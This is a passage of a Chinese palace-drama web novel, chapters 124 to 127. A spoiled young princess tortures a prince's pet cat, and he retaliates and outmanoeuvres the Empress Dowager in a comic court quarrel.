“也就是你了,换个人敢说朕是老头子,脑袋都要落地了。” “才不会呢。父皇是明君,是仁君,怎么会做那种暴君行径。”谢翊宁嬉皮笑脸地凑到了他们身边,主动给他们剥桌上的核桃。 “你呀,就仗着你父皇宠你吧。”崔皇后抿唇一笑,捏了捏他的耳朵。 “不然呢。父皇母后宠我疼我,这不是全天下都知道的事情么。和我的亲爹还搞那些虚伪客套的场面话,那我成什么人了。”谢翊宁振振有词。 文昭帝最喜欢的就是小儿子拿他当寻常父亲一样对待的态度。 旁的儿子见了他,总是恭敬有余,亲昵不足。 因而他就愈发偏袒这个小儿子了。 “是是是,就会说好听的哄父皇。”嘴上带着责怪,但文昭帝的嘴角却怎么也压不下去。 “我说的句句属实,才不是在哄您呢。”谢翊宁说着,话音一转,“先前晏家大小姐跟你们说什么了,怎么你们一个个都眉开眼笑的。” 文昭帝和崔皇后再次对视,都忍不住笑了起来。 说半天,还是要套他们的话呀。 “没说什么,就是定慈观的案子,裴爱卿似乎有些地方说得不够清楚,朕就找这小丫头来问问。”文昭帝笑着回答。 “听说你为了父皇,连夜出城奔赴通州查案,父皇十分欣慰啊。” 谢翊宁脸不红心不跳道:“那不是应该的嘛。父皇对我好,有事情威胁到父皇,我当然要第一时间去彻查啦。” “是吗,我还以为你是为了那小丫头去的呢。”文昭帝故意点出了晏逐星的事情。 “就是就是,你莫不是看上人家了,所以才千里追过去。”崔皇后也忍不住添了一把柴。 不开窍的两个人,她愁啊。 第124章 嫁你不行么 “母后瞎说,京城到通州哪有千里。” 见皇后瞪他,谢翊宁不再抖机灵赶忙摇头认真否认:“母后,话可不能乱说啊。事关姑娘家的清誉,您这么胡说,她日后还怎么嫁人。” “嫁你不行么。”崔皇后没好气地看了儿子一眼。 “你不是说她是你的救命恩人么,你娶她报恩不是正好?” 谢翊宁还是摇头。 虽然国师说他已经死过一次,死劫已过,但他还是想等及冠之后再考虑成婚的事情。 距离他及冠还有两年。 万一国师搞错了呢,他及冠之后还得死,那不就耽误了人家姑娘么。 他一本正经道:“母后,报恩也不能将我整个人搭上去啊。再说了,报恩给银钱给地位多好,娶人家算哪门子的报恩。” 而后他看向了文昭帝。 “父皇,这回定慈观破案,晏大姑娘功不可没,她可是斩杀了嫌犯呢。您要不论功行赏,赏她一个郡主当当,顺便帮儿臣报个恩,您看如何?” 文昭帝:…… 崔皇后:…… 儿子就知道从他们这捞好东西送人家小姑娘!!! 上回从她这捞了首饰布匹犹嫌不足,现在还惦记上郡主之位了。 要不是他们调查过小姑娘,知晓她对石头压根没有男女之情,都要误会是她故意怂恿石头来邀功的了。 “去去去,滚出宫去!瞧见你就心烦。”崔皇后没好气地挥手驱赶他,“随随便便就给人封个郡主,你是生怕那些言官御史不参你父皇一本,是不是?” 她扶着额头,一脸无奈与烦躁。 指望这儿子,她这辈子怕是都别想有儿媳了。 “好吧,那儿臣麻溜地滚了。”谢翊宁不羁地行了一礼,潇洒地准备去御花园接猫打道回府。 走到殿门口了,他忽然又折回头看向文昭帝。 “父皇,真不能给个郡主之位么?实在不行,县主也可以的呀。” 这下文昭帝也被他给气笑了,将手边的核桃壳砸了过来。 “混小子,你要报恩,怎么不给人家王妃之位。郡主不过一品,你的王妃可是超品。” 谢翊宁讨要郡主封号失败,立刻捂着耳朵大步流星地离开了。 离开的背影,大大的写着“我不听”三个字。 文昭帝和崔皇后同时叹气,无奈极了。 谢翊宁才不管他们怎么说呢,反正没真的过了二十岁,他是坚决不会考虑娶妻生子的。 平白无故误了别人终身,那不是报恩,那是恩将仇报。 他正往御花园走,就看到了眉头紧皱的晏逐星正在寻找什么。 而原本被她抱在怀里的雪团儿,还有她的丫鬟以及母后给的两个宫女,都不见了。 “王爷,对不起,雪团儿走丢了。”晏逐星瞧见他,快步上前道歉。 她们四个人,竟然没看住一个猫儿。 “先别急,你慢慢说,怎么一回事?”谢翊宁沉声询问。 晏逐星没想到他第一时间竟然没有责骂他。 心下涌起一阵说不清道不明的情绪。 以前,在定远侯府的时候,即便不是她的错,他们也不会给她解释的机会,只会不分青红皂白地怪罪她。 晏逐星收回思绪,冷静回答:“先前到御花园,雪团儿想下来走走,我怕她跑丢,就没让她下来。但她一挣扎,挠破了我的衣裳,我便还是将她放到了地上。” “衔蝉随我去更衣,雪团儿交给了司音和妙檀照看。等我回来时雪团儿就不见了。” “根据司音所言,雪团儿是瞧见了另一只猫所以好奇地追了上去。他们没追上,似乎朝长乐宫的方向跑去了。” “妙檀已经去长乐宫寻猫,我也让司音去请宫人来帮忙寻找雪团儿了。我正和衔蝉分头在她刚刚跑过的地方寻找。” 事情已经发生,晏逐星只得尽力去挽救。 “此事怪不到你头上。”谢翊宁立刻叫来了其他宫人,让他们去寻找雪团儿。 见晏逐星依旧眉头紧锁,一脸凝重,他安慰道:“不必太担心,雪团儿看起来胖乎,其实只是毛很多罢了,她身手很矫健的。寻常人奈何不了她的。” 原本有些郁闷的晏逐星听到这话,还是没忍住翘起了唇角。 不是胖嘟嘟,只是毛很多。 见她笑了,谢翊宁继续道:“再说了,宫里谁不知道雪团儿是父皇赏给我的猫。没人敢动她的。” 听他这么说,晏逐星也渐渐放下心来。 她重重点头:“嗯,雪团儿肯定不会有事的。” * 长乐宫。 裴明镜正跟着母亲入宫探望太后,没过多久,朝华大长公主也带着福安郡主来了。 太后对这门婚事乐见其成,因而极力地撮合两人。 没一会儿,裴明镜就被支使着陪福安郡主到殿外转转。 他们一走,屋内就只剩了太后、朝华大长公主以及窦淑容。 “淑容,你觉得福安如何?”太后笑着看向窦淑容。 “福安郡主也很好,模样端方,进退有度。性子贞静柔顺,言谈举止间自有大家风范。我满意得不得了。”窦淑容笑着应下。 太后满意地点点头,而后又笑眯眯地看向朝华大长公主:“朝华,你觉得明镜如何?” “明镜自然是极好的。”朝华大长公主脸上也露出满意的神色。 虽说裴明镜比女儿年长六岁,但男人年纪大些不是坏事,更懂得疼人。 更何况裴明镜才貌俱全,绝非酒囊饭袋,与那些耽于享乐的纨绔子弟截然不同,哪哪都合她的心意。 唯独就是他这个母亲,为人苛刻,上不得台面。 因而话她得说在前头。 “只是吧,福安自小被我娇养着长大,那种日日都要晨昏定省的活计是做不来的。”她看向窦淑容,意有所指。 窦淑容笑容一僵,淡淡道:“为人儿媳和为人女儿时,自然大不相同。福安郡主天真可爱,我甚是喜欢,恨不得日日见到她。” 朝华长公主听到这话,脸色顿时变了。 所以窦淑容竟然不愿在这上边让步,非要她女儿去遵守她的那些破规矩? 没想到,窦淑容话锋一转:“不过嘛,总归要给小两口相处的时间,不然我怎么抱孙子。因而晨昏定省这种事嘛,每逢初一十五来一次就好。” 这话让朝华大长公主满意多了。 一个月两次,想必女儿也能接受的。 紧接着,她又提出了许多要求,窦淑容都咬牙一一答应了下来。 屋内几人维持着相谈甚欢的迹象,而屋外的裴明镜和福安郡主,却是尴尬地沉默着。 福安郡主试图和裴明镜多说几句话,但裴明镜却像个闷葫芦一般,她问一句,他就答一句。 福安郡主有些气恼。 她自小是被捧着长大的,哪里受过这样的气。 但母亲提醒过她了,不管什时候,在外一定要将端庄的模样给立住了,绝不能损害了郡主的名声。 因而她一直保持着乖巧的笑与裴明镜闲谈。 “啊,哪来的猫儿!” 一声惊呼响起。 福安郡主吓了一跳,顺着声音望去,就看到一只雪白的猫儿冲她扑来。 她惊慌失措地转身,结果不小心踩到了猫儿的尾巴。 猫儿尖叫着伸出利爪抓向她,她惊慌着后退跌到了裴明镜的怀抱当中。 丫鬟汀兰见到这一幕,当即大吼道:“哪来的野猫,惊着我们郡主了,赶紧打死!” 第125章 打死后分尸 福安郡主跌到裴明镜怀里时,他立刻闪身躲开,单手固定住了她,避免了大面积的身体接触。 只是这个动作让福安郡主略显狼狈,差点没站稳摔个狗吃屎。 见她的丫鬟迎上来,裴明镜立刻撒手,将她往丫鬟怀里送。 福安郡主磨了磨后槽牙。 先前受到的惊吓瞬间被愤怒所取代。 至于么,她有那么让人嫌弃么? 她咬着唇,死死地盯着裴明镜。 见他听到汀兰说要打死猫时,脸上浮现出不赞同,她赶忙柔柔地开口:“汀兰,我只是被稍微吓到了,怎的就要打死这猫了呢。” 她站定了身子,往前一步,想要靠近那只猫,露出了温柔的笑:“瞧瞧她,多可爱呀。” 但猫却炸毛退后好几步,还冲她呲牙哈气。 “郡主当心,莫要靠近这猫了,省得被咬到。”汀兰赶忙拦住她。 裴明镜淡淡道:“这猫养得这般好,一看就不是野猫,许是宫中贵人养的猫。” “裴大人言之有理,这多半是宫中的娘娘们养来解闷的。可不能吓着了。”福安郡主浅浅一笑,给宫女使了个眼色。 “小心安抚这只猫儿,待会看看是哪个娘娘丢了猫,咱们给她送回去。可别让人家等急了。” “是。”汀兰看着福安郡主的笑,毛骨悚然。 每次郡主这么笑,就要有东西倒霉了。 没一会儿,四五个宫女就围住了猫,用吃食将她骗到了笼子里。 裴明镜没有再关心这事。 今日相看他已经呆得够久了,该走了。 “微臣还有公务在身,先告辞了。”说完便回了屋内,与太后和大长公主辞行。 “这大过年的,哪来那么多公务。”窦淑容急了。 以为儿子是没看上福安郡主,想快点离开。 “案件堆积众多,我早日查清,也能早日还那些百姓公道。”裴明镜铁了心要走。 太后笑道:“你这孩子,就是心善。罢了罢了,你且去吧。” 朝华大长公主也点了点头:“公务要紧,就不耽误你的事了。待到日后成婚了,可就不能一心醉心公务,总得花时间陪陪夫人孩子。” 裴明镜沉默了一瞬,点头应下:“大长公主说的是。” 朝华大长公主见他这样听劝,露出了满意的笑,命人将他们母子送出了宫。 她还要留下再陪太后说会儿话。 裴明镜一走,福安郡主就变了脸色。 “那只畜生呢,抓来,我要亲自打死。” 她脸上浮现出癫狂的笑。 “若是它的主子找来了……”汀兰想到福安郡主的癖好,有些不安。 先前裴大人可提醒过了,这猫是有主的,不是野猫。 郡主外表看着柔柔弱弱,但她自小却痴迷于了结那些弱小生物的性命。 一开始是公主府里养的温顺雀鸟,后来是买回来逗她玩的雪白的兔子,无一例外,都被她杀了。 有掐死的,有用刀捅死的,还有活活按到水里溺死的。 这些活生生的小东西死之后,她还会将尸体摆好,亲手分尸剔骨。 之前有丫鬟不小心撞见,被郡主的癖好吓得胡言乱语,大长公主直接将其命人杖毙。 她才被拉来顶替照顾福安郡主。 汀兰心里紧张不已,这可不是在公主府,若是直接将猫打死,郡主又要分尸,到时候被发现了怎么办。 “你是在质疑本郡主的话?”福安郡主轻飘飘地看了汀兰一眼。 汀兰忙低下头:“奴婢不敢。” 这时,妙檀来到了长乐宫,着急地询问他们有没有看见一只通体雪白,蓝眼睛的猫儿。 汀兰一惊,猛地看向福安郡主,压低声音道:“郡主,那是皇后娘娘身边的大宫女妙檀。” 福安郡主盯着关在笼子里的猫儿,冷笑:“原来是皇后娘娘的猫啊。” 听到这话,汀兰以为她会将猫放走,正要开口,就听见郡主不以为意道:“太后待我这般好,皇后气了她那么多年,我杀了她的猫给太后出出气,太后肯定会夸奖我的。” 汀兰不可置信地瞪圆了眼睛看向她。 福安郡主脸上的笑意更浓。 “汀兰,你知道该怎么说的吧?” 汀兰不敢违背她的命令,硬着头皮答道:“奴婢知道。” 而后,她快步走到妙檀跟前,撒谎道:“这位姐姐,先前有一只白猫冲到了长乐宫里,惊着咱们福安郡主后又翻越宫墙往那边去了。” 她随手指了个方向。 “什么?又跑走了?”妙檀一惊,“多谢姐姐提醒。” 说完她便急匆匆地往汀兰指的方向追了过去。 汀兰见她离开,紧张地咬住了唇,在心里暗暗祈祷,她不要再回来。 没想到,事与愿违,不过一盏茶的功夫。 妙檀就回来了。 不仅她来了,永安王还领着另一个小姑娘来了。 “参见王爷。”汀兰猛地跪下。 “我的猫呢?”谢翊宁冷冷开口。 “是您的猫?”汀兰一脸错愕,眼里的震惊几乎都要溢出来了。 她脑海里只浮现了三个大字:完蛋了。 “你先前跟我说雪团儿不在长乐宫,往东边跑了。可王爷和晏大小姐正从东边来,根本没看到雪团儿啊。”妙檀愤怒地看着她。 这丫鬟,竟敢骗她。 “我,我……”汀兰没想到竟然是永安王的猫。 这位是真的惹不起啊。 就算搬出太后来,也压不住他。 见她神色慌乱,谢翊宁哪里还看不出来她先前是在撒谎。 “雪团儿是本王的猫。若它出了什么事,你就等着陪葬吧。”谢翊宁一句话让汀兰彻底腿软。 她说不出一句话来。 长乐宫的宫女一看不对劲,赶忙跑进殿内,将此事告知太后。 谢翊宁一脚踹翻了汀兰,冷笑一声:“知道上一个欺骗本王的人是什么下场吗?他的舌头已经被拔了喂狗。我看你的舌头也不用要了。” 汀兰被他这一句话吓得瑟瑟发抖,大冬天的额头直冒冷汗,她“哇”一声哭了出来。 “猫在郡主那。” 谢翊宁扫了旁边的宫女一眼,宫女立刻带路,将他往福安郡主在的地方引去。 * 偏殿里。 福安郡主手里拿着匕首,半蹲着身子盯着被关在笼子里却还冲她呲牙的猫,语气十分温柔。 “你不乖哦。” “再闹下去,姐姐真的要生气咯。” 说完她猝不及防,一刀捅向了笼子里雪团儿。 雪团儿炸毛发出了凄厉的惨叫,闪躲不开,却也狠狠地挠了她一爪子。 “嘶。” 福安郡主手上多了几道深浅不一的血痕。 她半眯着眼眸,没想到这小畜生竟然这么顽强。 先被她关在笼子里扔到水缸里泡了一盏茶的功夫都没淹死,如今还敢挠她。 真是学不乖。 真是该死。 “你这毛真不错,要不扒了,做条围脖吧。”福安郡主喃喃自语,“可惜了,刚刚扎破了个洞,不漂亮了。” “砰”一声响。 大门被踹开。 福安郡主吓了一跳,她扭头一看,就听到了一句让她毛骨悚然的话。 “你信不信本王剃了你的头发拉着你满京城巡街。” 谢翊宁眸色阴沉,看到浑身湿漉漉还渗血的雪团儿,眼神变得愈发凌厉。 福安郡主瞧见他,脸色顿时变了。 “七、七表哥……”她“哐当”一下将手里沾血的匕首扔了出去。 “表哥,你听我解释。” 谢翊宁选择不听,直接捡起匕首往她胳膊上就捅了一刀。 在场的人全都惊得说不出话来。 晏逐星也没想到他会这么生猛。 那可是朝华大长公主的掌上明珠啊,他,他竟然就这样捅了??? 不过该说不说,她看着是真的太痛快了。 先前在门外听到福安郡主那话,她都忍不住想冲进来揍她了。 那是人能说出来的话吗。 她快步上前拎起笼子,检查雪团儿是否还有救。 雪团儿虚弱地躺在笼子里,一言不发。 晏逐星顿时急了:“王爷,是不是要请太医啊?” 她心下一阵慌乱,这么可爱的猫儿现在变得奄奄一息,看着她心里难受不已。 也不知道太医能不能治猫。 “去找季太医!”谢翊宁上前一步,接过猫就要走。 这时,太后和朝华大长公主匆匆赶来。 看到胳膊上流血的福安郡主,两人惊得差点没晕过去。 “怎么回事?” 看到有人来撑腰,福安郡主立刻哭了。 “我不小心弄伤了七表哥的猫儿,他就给了我一刀,母亲,外祖母,我好疼啊。” 听到这话,两人勃然大怒。 “永安,你怎么回事,福安可是你的表妹。为了一只畜生,竟然伤她至此?”太后气得身子发颤。 她最不想见到的就是这个混小子。 因为他,她和皇帝本就稀薄的母子感情现在所剩无几。 如今,他竟然闯入她的宫殿,伤了她最疼爱的外孙女,她忍无可忍! “一刀可不够。若待会雪团儿没救回来,十刀八刀都消不了我的心头之气。”谢翊宁的话差点没把两人给气死。 “愣着干嘛,让开啊,你们是不是想让她给雪团儿偿命?” 他二话不说,拎着笼子,直接从两人中间撞了过去。 太后一个踉跄,差点没摔倒,她捂着胸口大喊:“你是不是要气死哀家?哀家要告你一个不敬不孝的大罪。” 谢翊宁将笼子交给了妙檀:“速去找季太医。” 又看向跟来的司音。 “去请父皇母后来。” 紧接着,他做出了一个让所有人都意想不到的动作。 第126章 永安王威胁 他直接就往地上一躺,捂着心口上气不接下气地喘了起来。 “皇祖母,我胸口疼,喘不上气,雪团儿是父皇特意从西戎给我寻来的。整个大虞就这么一只。我精心喂养了三年。” “整整三年啊!她吃饭洗脸梳毛,都是我亲手照顾的。朝华姑母怕是都没有亲手照顾福安那么久吧?” 忽然被提到的朝华长公主:…… 她还真没亲手照顾过女儿那么久。 她有的是乳母和丫鬟,那用得着她亲自照顾。 谢翊宁继续嚷嚷:“若雪团儿死了,我也不活了。” “反正我也没两年可活了。” “提前死了皇祖母也不会在乎的,您早就巴不得我死了。” 在场的人齐刷刷沉默了。 太后更是目瞪口呆。 这混小子小时候不要脸也就罢了,怎么长大了非但没有收敛,反而更不要脸了? 他这脸皮,怕是比城墙还厚吧? “你少胡说八道,哀家什么时候就巴不得你死了?”太后气得浑身哆嗦。 朝华大长公主咬紧了后槽牙,看向太后:“母后,还是先给福安请太医吧,别到时候福安的手保不住了。” “对对对,快给郡主请太医。”太后也是被谢翊宁这一通乱来给整无语了,差点把心肝宝贝外孙女给忘了。 晏逐星已经彻底看傻眼了。 她虽然从旁人那里知道了谢翊宁过往与太后的那些“英勇战绩”,但亲眼所见她还是大受震撼。 堂堂一个王爷,竟然真的能对旁人异样的目光视若无睹,毫不犹豫地就往地上躺。 这实在是超出了她的认知范围。 永安王当真是能屈能伸。 她要学的还有很多啊! * “皇上,皇后娘娘,不好了。永安王在长乐宫刺伤了福安郡主,太后说要被气死,王爷让奴婢回来请你们过去替他做主啊。”司音着急忙慌地赶回未央宫搬外援。 “什么?”听到这话,文昭帝和崔皇后同时露出了惊讶的表情。 “可是福安郡主做了什么?不然石头怎会伤她?”崔皇后脱口而出。 文昭帝也赞同地点点头。 石头这孩子虽然被他们骄纵着,但却从不乱伤无辜。 “她伤了雪团儿。”司音快速把事情经过说了一遍。 “什么?”崔皇后这下更震惊了。 外表看着乖巧柔弱的福安郡主,竟然做出了这样恶毒可怕的事情。 “快快快,皇上,咱们得快点去长乐宫,不然可就麻烦了。”崔皇后着急地催促起站在原地不动的皇上。 “皇后莫要担心,石头不会让自己吃亏的。”文昭帝安慰起了她。 崔皇后委婉暗示:“咱们等得,太后能等吗?您能等吗?” 文昭帝这才明白她的弦外之音是什么。 他的宝贝儿子不会吃亏,但太后怕是经不起他气。 毕竟小儿子气人花样百出,要是太后真被气出个三长两短,他这个皇帝可就要被文官上折子弹劾,被他们的唾沫星子淹死了。 文昭帝赶忙加快了步伐。 二人一进到长乐宫,就看到谢翊宁躺在地上耍无赖的模样。 文昭帝:…… 崔皇后:…… 这么多年了,这孩子怎么还是只会地上躺躺这一招? 崔皇后担忧地看了一眼一旁站着的晏逐星。 这下她是真的确定儿子对这位晏大姑娘没有男女之情了,谁会在心爱的姑娘面前做出这样不得体的姿态。 崔皇后痛苦地抬手扶额。 她仿佛看到儿媳妇离她越来越远了。 这辈子,她真的能看到石头娶妻生子吗? “皇上,皇后,你们可算来了。这就是你们教出来的好儿子,忤逆哀家,伤害一个小姑娘,凶残至此,成何体统!”看到帝后二人,太后便控制不住地斥责了起来。 “福安郡主一个小姑娘,竟然想出那么恶毒的法子。先把猫放到水缸里淹死,淹不死就拿刀去捅死,我比得上她凶残吗?您怎么不问问朝华姑母怎么教出来她这么一个好女儿?”地上躺着的谢翊宁利落地反驳。 太后气得怒瞪他。 太后一瞪他,他就哎哟哟地叫唤了起来。 “皇祖母您别在心里咒我死了,我害怕。我难受,父皇母后,快请太医,我怕是要死在长乐宫了。” 太后:…… 她还真拿这不在乎名声的混账东西没办法。 言官不是没有试过上折子弹劾他,但皇帝就一句话:他都活不过二十岁了,你和他计较那么多做什么。 然后就是象征性地罚罚谢翊宁的俸禄。 他的俸禄都被扣到四十年后了。 这混小子哪里活得到四十年? 就这样,皇帝和皇后犹嫌不足,罚完之后又以各种名目给他送银子送好东西。 简直就是赤裸裸地偏袒。 言官们也拿谢翊宁没辙了。 你弹劾了,当事人不在乎,皇上虽然罚得很敷衍,但也是罚了。 挑不出错来啊。 而且皇上每次当朝训斥永安王,永安王每一回当着他们的面都表现得特别好,认错态度特别诚恳。 诚恳得他们都相信了,结果他下次还敢。 太后越想越气。 “他今日敢拿刀伤福安一个小姑娘,谁知道明日会不会拿刀来伤哀家。皇上,皇后,此事你们必须给哀家,给朝华,给福安一个交代!” 她这一次是真的动怒了。 文昭帝正欲开口,可惜他的儿子不给他机会。 谢翊宁利落地学着她的话反驳:“福安今日敢拿刀伤一只猫,焉知明日会不会拿刀伤害您?皇祖母,此事您必须严惩啊。” 太后怒气冲冲地反驳:“哀家乃是福安的外祖母,她怎么会伤害哀家。” “您也是孙儿的皇祖母啊,孙儿又怎会伤害您呢?”谢翊宁眨巴着眼看着她。 “还是说因为我父皇不是您亲生的,您就觉得我不是您的亲孙儿,对我早有不满,借此发难,让父皇为难?” “你胡说八道!!!”太后再一次败下阵来。 “好了,地上凉,待会冻坏了,赶紧起来吧。你皇祖母绝对不是那个意思。”文昭帝亲自伸手将儿子从地上拉了起来。 “你就知道关心他会不会冻坏,怎么不关心关心哀家这个母后会不会被他气死?”太后说不过谢翊宁,只能将怒火撒到文昭帝身上。 “母后,您还好吗?”文昭帝一脸孝顺地询问,“您放心。若他将您气死了,朕定然不会饶过他,朕会让他去给你守皇陵,日日在您面前罚跪。” 晏逐星听到这话,咬着嘴唇憋笑憋得很辛苦。 她总算知道谢翊宁那混不吝的模样跟谁学的了。 原来是“家学渊源”。 太后:…… 皇帝这关心的话还不如不说,这和咒她去死有什么区别。 “母后,福安今日是与卫国公之子裴明镜在相看吧,若她恶意伤猫一事传出去……”文昭帝意味深长地看着太后。 太后脸色白了一分。 这话若是传出去,福安的名声可就毁了。 别说嫁给裴明镜,恐怕京中的少年郎都不敢娶她了。 “什么恶意伤猫,没有的事。福安年纪尚小,贪玩罢了,猫儿没轻没重伤了她,她才反击的。”太后梗着脖子反驳。 “嗯,正是如此。她反击之时手抖了,伤了自己的胳膊,您说对吧?”文昭帝笑容和煦,笑意中却透着不容置疑的威压。 太后知道他在以此威胁自己,不能找谢翊宁的麻烦,不然他就要让福安的名声毁了。 “皇上,你,你……”太后这下是真的被气着了。 文昭帝赶紧上前给她拍背,做足了孝子的模样。 “快请太医,若太后有什么事,朕决不轻饶!” 刚给隔壁福安郡主看完胳膊的许太医又被扯过来给太后把脉。 朝华大长公主也跟着过来。 看到站在皇后身边的谢翊宁,她眼里都是怒火,恨不得立刻就把他给宰了。 谢翊宁还冲她挑眉一笑,气得她牙齿都要咬碎了。 许太医看着跪了一地的宫女,又看了一眼面无表情的皇上,最后胆战心惊地说出了结论:“太后娘娘只是气急……” “嗯?”文昭帝轻轻哼了一声。 许太医麻溜地将“气急攻心”四个字咽了回去,改口道:“太后娘娘只是气息不畅,冬日里不能总关着宫门和窗户,偶尔也得透透气,不然凤体违和,就会支撑不住,人变得晕晕沉沉的。” “嗯,听到了吗?”文昭帝满意地点了点头,扫了地上的宫女们一眼。 “日后要多搀扶太后出来走走,多开窗透透气。” 太后咬牙切齿,大冷天的开窗透气,皇上是想冻死她吧。 “母后,走吧,朕扶你回宫休息吧。”文昭帝强行搀扶着太后离开。 朝华大长公主拦住了他。 “皇上,这事就这么算了吗?我知道你偏疼永安,但也不能这般纵着他,若日后他杀人放火,你也要替他隐瞒吗?” “母后,您说呢?”文昭帝没有理会自己的这位姐姐,而是扭头看向了太后。 太后一把抓住了朝华大长公主的手,冲她摇头。 “此事就此作罢,不要节外生枝。” 朝华大长公主向来听太后的话,见她都这么说了,只得咬牙咽下了这口气。 可偏偏身后传来了谢翊宁不满的声音。 “谁说此事就此作罢了?” 第127章 王爷不要脸 “你还想怎样?”朝华大长公主凌厉的目光飞来。 谢翊宁不疾不徐地开口:“要看雪团儿能不能活下来,能活下来,就没事。若是活不下来……” “活不下来又如何,一个畜生,你还能要福安给它偿命不成?”朝华大长公主气得胸口连连起伏。 她看向文昭帝,眼里带着哀痛与愤怒。 “皇上,福安可是要叫你一声舅舅的啊。” 文昭帝皱紧了眉头,为了一只猫自然不可能要福安偿命,但总得受些教训。 他相信石头有分寸。 因而他轻声道:“朕自然不会福安殒命。” 说完他瞥了儿子一眼,警告他不许再搞事情。 谢翊宁轻笑一声:“姑母想哪里去了,我不过是想替雪团儿讨些医药费罢了。若她不幸死了,我也只会去公主府讨些丧葬费罢了。” 说完他便捂着心口,假装身子不适。 “许太医,你来给本王瞧瞧,本王难受得很。” 被点名的许太医欲哭无泪。 今日怎么就那么倒霉轮到他值班了呢。 早知道他刚刚就抢了季太医的活去治永安王的猫呢,来长乐宫这一趟,他简直减寿十年。 “王爷……”许太医看着皇后和永安王的表情,斟酌着词汇,最后决定装瞎到底。 “王爷经脉混乱,气急攻心,身子不适,待会怕是不能走出宫门了,还是请人抬了软舆来,将王爷送回王府吧。” 朝华大长公主听到这话气得扭头就走,她受不了谢翊宁这个不要脸的了。 崔皇后和谢翊宁同时给了许太医一个赞赏的眼神。 “辛苦许太医了。”崔皇后笑着让宫女往许太医手里塞了一个沉甸甸的荷包。 “都是微臣的分内之事,多谢皇后娘娘赏。”许太医拿着赏银飞快溜走了。 待皇上和太后也走了之后,崔皇后伸出手点了点儿子的脑门。 “你可真能折腾啊。入宫一次,整个后宫都被你弄得鸡飞狗跳的。明日还不知道宫里那些妃嫔会怎么在背后里说你。” “那他们可得给儿臣银子。儿臣若不闹这么一出,她们在后宫多无聊啊,都没有新鲜事可聊。”谢翊宁无所谓地耸了耸肩。 “还惦记着银子呢,你今日闹这一出,明日被弹劾,你的俸禄就要扣到五十年后了。”崔皇后无奈地盯着儿子。 她眼角余光瞥见一旁的晏逐星在憋笑,一颗心悬了起来。 完了,傻儿子真要娶不着媳妇了。 “星儿啊,这孩子平时不这样的,他、他这是太担心雪团儿,气昏头了。”崔皇后不得不替儿子找补几句。 谢翊宁这才反应过来,先前晏逐星也在!!! 他的脸瞬间变得滚烫,一抹绯红从脖颈处蔓延至耳后。 瞧见他发红的脸,崔皇后松了一口气。 还知道害臊,有救。 “我……”谢翊宁一时间不知道该怎么解释刚刚自己不着调的行为。 “王爷是性情中人,星儿十分佩服。”晏逐星笑着替他解了围。 “而且王爷这一招,还真让我学到了不少东西,日后遇上麻烦,我也知道该怎么解决了。” 谢翊宁和崔皇后大惊失色。 这可不兴学啊。 小姑娘家家的躺在地上撒泼,那多不好看呀。 看着他们变了的脸色,晏逐星忍不住“扑哧”笑出了声。 他们肯定是误会了她的意思。 晏逐星笑眯眯道:“我只是觉得王爷口齿伶俐,句句都能说到重点上让人无话可说。实在是太厉害了。” “那倒是。这小子自小嘴皮子就利索,三岁的时候就能将本宫与皇上说得哑口无言……”崔皇后赞同地点点头。 “咳咳,母后,雪团儿如何了?”谢翊宁打断了皇后,生怕她将自己小时候的丑事都抖落出来。 “放心吧,妙檀先前回来了,说季太医已经替雪团儿止住了血,救回来了。只是受了重伤,得好好养一段时间。这些时日不宜搬动,就让她在太医院里养着吧。”崔皇后温柔回应。 “你放心,母后日日都会让妙檀去太医院照顾她的。” “嗯,儿臣自然相信母后。那儿臣就先行告退了。”谢翊宁正欲离开。 崔皇后又拦住了他。 “等会儿。” “怎么了?”谢翊宁不解。 “司音,命人将软舆抬来,送王爷出宫。”崔皇后一本正经地吩咐了下去。 谢翊宁和晏逐星这才想起先前许太医说的话,齐刷刷冲皇后露出了崇拜的眼神。 还得是皇后娘娘! 于是,谢翊宁就躺在软舆上,让人将他抬回了永安王府。 甚至还特意绕了远路,让京中百姓都瞧见了。 有胆子大的人悄摸打探永安王怎么了,是不是要不行了。 前来接人的停云就会露出一抹伤心的表情。 “不是,只是今日在长乐宫受了些惊吓。” 别的话愣是多一句都没说,任凭大家猜测脑补。 一时间,“太后训斥永安王,导致其命不久矣”的流言就这样传开了。 朝华大长公主得知这个消息,气得去找太后告状,没想到太后得知这个消息,竟然给气病了。 朝华大长公主有苦说不出。 * 晏逐星回到定远侯府后,定远侯第一时间就将她叫到了书房,询问她皇上寻她何事。 晏逐星只说是定慈观的事情,丝毫不提长乐宫里发生的事情。 定远侯出门得知了那个流言,又特意来问了她一回,但晏逐星守口如瓶,只说自己不知道。 “也是。你只是被皇上叫去了,哪里能知道太后和永安王的事情。”定远侯有些烦躁。 如今他不宜出门,不能参加宴会,许多消息都打探不到。 但他眼珠子一转,又把主意打到了晏逐星身上。 “我记得永安王似乎与你有几分交情,他如今病了,不如你登门送些药材,探望一二?” “父亲,如今我乃戴孝之身,不宜出府做客。别说永安王府,烈国公府那边的认亲宴都要推迟了。”晏逐星提醒。 昨日入宫是皇上特意召见,不然她还是得待在家中的。 听到这话,定远侯又一次皱起了眉头。 他怎么把这事给忘了。 这样的话,星儿不仅不能去永安王府,连烈国公府都不能去了。 到时候谁帮他打听骆文缨的婚事啊。 不行不行,这可不行。 晏逐星观察着定远侯的表情,见他似乎有所松动,顿时松了一口气。 马上就是元宵节了,她还想出门瞧瞧京城花灯节的盛会呢。 若定远侯能在这之前定死温如霜的罪名,那温如霜就不是她的养母,而是害她与亲生父母分离的罪人。 到时候她自然而然就不用替温如霜守孝,能光明正大出门游玩了。 见他把她的话听进去了,晏逐星决定再添一把火:“温家大舅舅过两日就要到京城了,若他抵达,恐怕侯府又要被折腾得鸡飞狗跳了。” 晏逐星叹了一口气,继续道: “如今母亲和两位兄长还有二妹妹都不在了,咱们与温家最后的羁绊都没了,也不知道温家舅舅会不会记恨我。” 听到她这话,定远侯猛地反应了过来。 如今他们与温家已经可以说是毫无干系。 之前让温如霜自缢,没有把她拐带孩子的事情闹出去,就是为了明远着想。 如今明远死了,温如璋定然恨透了他,别说帮扶,不趁机报复侯府就不错了。 定远侯越想越觉得温家这门亲得趁早断了。 在温如璋没入京之前,让温如霜名声彻底臭了,到时候温家都得和她撇清关系。 他正好也可以趁机娶新妇,星儿也不必为那个毒妇守孝,可以去往烈国公府走动了。 定远侯将晏逐星打发回了玉澜院,快马加鞭让关万海夫妇入京。 “怎么又改主意,让咱们去告先夫人了?” 关万海夫妇百思不得其解。 但他们没有选择的机会。 定远侯在京城的贵族里虽然不算显赫有权,但捏死他们两个经商的小老百姓,还是易如反掌的。 大年初六,京兆府升起了第一堂案件。 